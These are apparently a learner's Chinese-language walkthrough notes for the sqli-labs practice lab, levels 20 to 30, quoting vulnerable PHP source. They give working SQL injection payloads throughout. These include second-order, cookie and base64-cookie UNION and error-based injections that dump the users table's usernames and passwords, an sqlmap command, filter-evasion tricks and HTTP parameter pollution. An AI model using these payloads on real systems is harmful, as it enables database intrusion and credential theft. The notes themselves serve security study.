less-24 二次注入
username 被 mysql_escape_string 函数过滤了,该函数的作用如下: # 登录用户名和密码都被过滤了 $username = mysql_real_escape_string($_POST["login_user"]); $password = mysql_real_escape_string($_POST["login_password"]); $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
危险字符 转义后
\ \
‘ '
“ "
参考链接:https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-49
怎么说,书上还是教程上b了这么多,没看懂多少。实践后。。。
就有感觉了
直接就看源码,不跟你多bb
创建用户的地方:
Sql
username = mysql_escape_string($_POST[‘username’]) ;
更新密码的核心语句:
Sql
UPDATE users SET PASSWORD=’$pass’ where username=’$username’ and password=’$curr_pass’
只要在注册的时候 用admin ‘#注册 再去看数据库user里的会发现 有admin ’# 这个东西
然后,就看我们修改时的那个原码了
直接用admin ‘#登录,然后改密码 直接逮住 完事
less-20
在源码中 $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); 所以,想在输入框中找注入点,没得了
$cookee = $_COOKIE[‘uname’];
#源码中直接将 cookee 通过单引号拼接到 SQL 语句中
$sql=”SELECT * FROM users WHERE username=’$cookee’ LIMIT 0,1”;
从 cookie 中读取的 uname 参数值 并直接拼接到了 SQL 语句中了,这就导致了注入点的产生,
并且还输出了查询信息,所以这里也是可以进行联合查询注入的。
uname=admin’ and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR(分隔符)+0x3c62723e(表示
))+FROM+users)#
报错注入
uname=admin’+AND+(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)#
uname=admin1’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(1,’/xx/xx’,’anything’))
报错方式相同:
select username from security.user where id=1 and (updatexml(1,concat(‘~’,(select database())),’anything’))
0x7e 是“~”
爆出
Issue with your mysql: XPATH syntax error: ‘c:\wamp\bin\mysql\mysql5.6.17\‘
爆数据库名
uname=admin1’and extractvalue(1,concat(0x7e,(select database()),0x7e))#
爆表名
uname=admin’ and 1=2 union select 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables where table_schema=’security’)#
less-21(cookie)
与less-20的区别在于采用了base64编码 $cookee = base64_decode($cookee); payload=uname=sqlsec') union select 1,2,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#
编码:uname=c3Fsc2VjJykgdW5pb24gc2VsZWN0IDEsMiwoU0VMRUNUIEdST1VQX0NPTkNBVCh1c2VybmFtZSxwYXNzd29yZCBTRVBBUkFUT1IgMHgzYzYyNzIzZSkgRlJPTSB1c2Vycykj
–technique
这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
less-22(cookie)
哭 难道之后的都要去看一波源代码了吗
与less-21不同的是less-22没有用单引号连接,拼接方式不一样,其他都是一致的
$sql=”SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1”;
uname=sqlsec” union select 1,2,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#
sqlmap(自动注入)
python sqlmap.py -u “http://192.168.248.133/sql/Less-22/" –cookie=”uname=*” –tamper=”base64encode” –technique=U -v 3
less-23(报错、联合、延时)
这个和之前一样 用?id=1\ 探错 查看报错信息
查看源码
过滤了 id 中的 # 和 – 然后 替换为 空
$reg = “/#/“;
$reg1 = “/–/“;
$replace = “”;
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
关键的sql执行语句:
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
$result=mysql_query($sql);
故得换个思路搞
就闭合前面的后面的单引号
即
$sql=”SELECT * FROM users WHERE id=’-1’ or ‘1’=’1’ LIMIT 0,1”;
只能说很强,是我没看源码的话想不出来的
less-25
又是id。老规矩就1\ 单引号闭合点 上万能语句 1' or 1=1 --# 1' and 1=1 --# 知道 被过滤的有 or # and %23没有被过滤掉 ###符号替换 or -> ||
and -> &&
符号替换
?id=1’||extractvalue(1,concat(0x7e,database()))–+
双写嵌入绕过
?id=-1’ union select 1,2,(SELECT+GROUP_CONCAT(username,passwoorrd+SEPARATOORR+0x3c62723e)+FROM+users)–+
+应该是想稳点,事实不用+也行
less-26
又是id。老规矩就1\ 直接就被过滤掉 用 1‘发现是双引号闭合 知道 被过滤的有 or # and \ / --+ --# 还有空格
解决方法
过滤了 or 和 and 可以采用 双写或者 && || 绕过
符号替换
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
注释的话换不了 用单引号闭合后面的
-1’ or ‘1’=’1
?id=-1’%0baandnd%0b’1’=’2
less-27
单引号字符型注入 ?id=-1'%0band%0b'1'='1
通过源码看出,过滤了几个大小写的union和select但是可以用 随机大小 写绕过,过滤了–、#以及/**/,过滤了两次空格,过滤了/但没过滤\。
所以实际上只过滤了注释与空格,与 Less 26 相似。
报表
?id=0’%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=’security’),3||’1
less-28
?id=100')%0bunion%a0select%0b1,(SELECT%0bGROUP_CONCAT(username,password%0bSEPARATOR%0b0x3c62723e)%0bFROM%0busers),3%a0and%0b('1
less-29
(_GET_双服务器_单引号_字符型注入)
有点难搞 源码 //WAF implimentation with a whitelist approach..... only allows input to be Numeric. (//使用白名单方法实现的WAF实现.....仅允许输入为数字。) function whitelist($input) { $match = preg_match("/^\d+$/", $input); if($match) { //echo "you are good"; //return $match; } else { header('Location: hacked.php'); //echo "you are bad"; } } 所以,如果是输入的id不是数字的话就会被转到其它的页面
源码
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
//当受到HPP(HTTP参数污染)的影响时,以下功能可模仿参数的行为。
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode(“&”,$q_s);//这里按照这个规则来即用“&”来衔接
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
phh注入点
?id=1&id=-1’ union select 1,database(),3–+
index.php?id=1&id=2
工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,
然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。
index.php?id=1&id=2,这时回显是id=1还是id=2呢?
apache (php) 解析最后一个参数,即回显id=2;
tomcat (jsp) 解析第一个参数,即回显id=1。
Apache PHP 会解析最后一个参数
Tomcat JSP 会解析第一个参数
参考链接:https://www.jianshu.com/p/46cb6c354de5
1、在之前使用方法用过不没有用的情况下
2、使用?id=1&id=1’ 判断是否是双服务器
less-30
与less-29差别就是拼接方式,less 使用“拼接
与less-29区别就是”)拼接